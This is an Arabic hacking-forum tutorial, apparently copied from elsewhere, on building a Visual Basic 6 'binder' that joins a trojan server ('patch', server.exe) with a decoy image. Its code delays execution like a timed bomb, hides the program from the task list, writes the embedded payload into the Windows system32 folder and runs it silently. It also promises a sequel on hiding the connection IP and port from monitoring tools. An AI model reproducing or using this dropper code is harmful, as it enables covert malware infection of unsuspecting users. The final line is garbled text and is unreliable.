أسعد الله لقائنا بالمسرات . .
نعود لكم بما هو جديد وحصري ومن أفكار خاصة نسأل الله التوفيق لنا ولكم في كامل الأعمال
الخالصة له سبحانة .
اليوم لدي موضوع لا اعتقد انه طرح من قبل أي شخص اخر فرجاء يا اخوان واحترمو تعب الأخرين وليس فقط انا
اذكرو الحقوق وألاسطوانة لـ :
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#
مستلزمات الشرح : -
1/ Microsoft Visual Basic 6.0
2/ التفكير والتدقيق ولا أنصح بالتطبيق الأعمى
3/ باتشك + ماتريد دمجة
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#
أولا : إفتح الـ Visual Basic في Project جديد
قم بعمل التغيرات المتناسبة معك وسوف تفهم ما ذا أقصد في نهاية الشرح
ثم من الشريط أعلى إختار
ثم
Add-In Manager
ثم اختر كما هو موضح من القائمة التالية مع تحديد الخيارين
ملاحظة : :
من هنا إذا خبصتها باقي شغلك مخبوص فدقق جيدا اسم باتشي كمثال كان server.exe
والرقم الخاص به 101 وهكذا الصورة lxh.jpg ورقمها 102
طبعا الارقام على النحو التالي
101 , 102 ,103 ,104 ,105 ......الخ
طيب بيجي واحد بيسأل من الحين ليه أحفظها بقله لاتستعجل بتعرف كيف نربطها بعدين بالكود ونحتاج
لاسمها والرقم
الحين سوي لك ملف جديد وأحفظ الـ Project في ملف جديد
روح وفكه من جديد
بتلقى انضاف لك هذه الخاصية من هنا
إلى هنا أنت أكملت الجزء الأول من الشرح . . .
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#
تعالو نشوف مع بعض الأكواد المستخدمة في الشرح
-#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-
أول كود في الـتصريحات العامة ( الجنرال )
كود: Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As كود:
String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
-#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-
وظيفة الكود
تشغيل الملفات بمعنى اخر يعرفها للاكواد الجاية#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#
الكود التالي وظيفته تأجل تنفيذ الكود لوقت محدد .. .
الفكرة من هذا الكود نخلي الباتش يشتغل كأنه قنبلة مؤقتة J وبتعرفون ليه نحدد الكود هذا عشان نحدد الوقت في الكود الجاي
تابعو وبإذن الله يسهل كل شئ في نهاية الموضوع -#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-
كود: Public Sub Delay(HowLong As Date)
TempTime = DateAdd("s", HowLong, Now)
While TempTime > Now
DoEvents
Wend
End Sub #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#
الكود التالي ..
في Private Sub Form_Load()
وظيفة الأمر هذا تأخير تشغيل الفورم لمدة إنت تحددها مثل التالي / -#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-
كود: Private Sub Form_Load()
Delay 20
App.TaskVisible = False
Call ttt
End Sub -#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-في هذا الكود السابق حدننا الوقت 20 ثانية ييعني الفورم ينفك بعد تشغيل البرنامج بـ 20 ثانية *_^ ( Delay 20 ) تحتها كود إخفاء البرنامج من التطبيقات . . [App.TaskVisible = False ] – لمن يوصل لـ Call ttt ينتقل للكود التالي . . Private Sub ttt()تعالو مع بعض نشوف الكود الثاني #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#أخر كود نفصلة ألحين لكم ..
أول سطرين وظيفتها
الاول عشان الاخطاء والثاني تعريف للتالي . . .
السطر هذا [sEnv = "c:\windows\system32\program.exe" ]تحدد فيه إسم البرنامج + الإمتداد مو شرط إمتداد برنامج تنفيذي يمديك تدمج صورة أو أي شئ ثاني
والمسار أناا حاط مسار system32 براحتك غيره لأي مسار تبيه . .
*****
تذكرو يوم قلت لكم لاتنسو رقم البرنامج الي مثل كذا 010 و 102 هنا نشوف الكود هذا
ByteArray = LoadResData(101, "CUSTOM")طبعا لازم يكون إسم البرنامج نفس رقمه والباقي يفتحه وبقية الكود النقطة الثانية نفس الأولى -#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-
كود: Private Sub ttt()
On Error Resume Next
Dim ByteArray() As Byte, sEnv
sEnv = "c:\windows\system32\Server.exe"
ByteArray = LoadResData(101, "CUSTOM")
Kill (sEnv)
Open sEnv For Binary Access Write As #1
Put #1, , ByteArray()
Close #1
Call ShellExecute(hwnd, "Open", sEnv, "", App.Path, 1)
sEnv = "c:\windows\system32\Server.exe"
ByteArray = LoadResData(102, "CUSTOM")
Kill (sEnv)
Open sEnv For Binary Access Write As #1
Put #1, , ByteArray()
Close #1
Call ShellExecute(hwnd, "Open", sEnv, "", App.Path, 1)
End Sub #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#في الختام نحصل على برنامج دمج بخاصية توقيت تشغيل الباتش في مدة إنت تحددها
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#
إلى هنا إنتهيت من الشرح أوتمنى إني وضحت ومافي شئ باقي غير إلي يفتح مخه بيطلع شئ *_^ عجيب
وبإذن الله طريقة الثانية كيف نتخطى إظهار الاي بي والبورت أثناء التحليل في برامج المراقبة ^_^ لتحميل الموضوع في صفحة عشان الصور والأكواد لو تلفت من هنا . . Download
اولا الموضوع منقوول والحقوق موجودة في الموضوع
اخوكم/ابو بدر
FprivateD Z 'vdrm td[,gdm [ikldm gg]l[ > >!!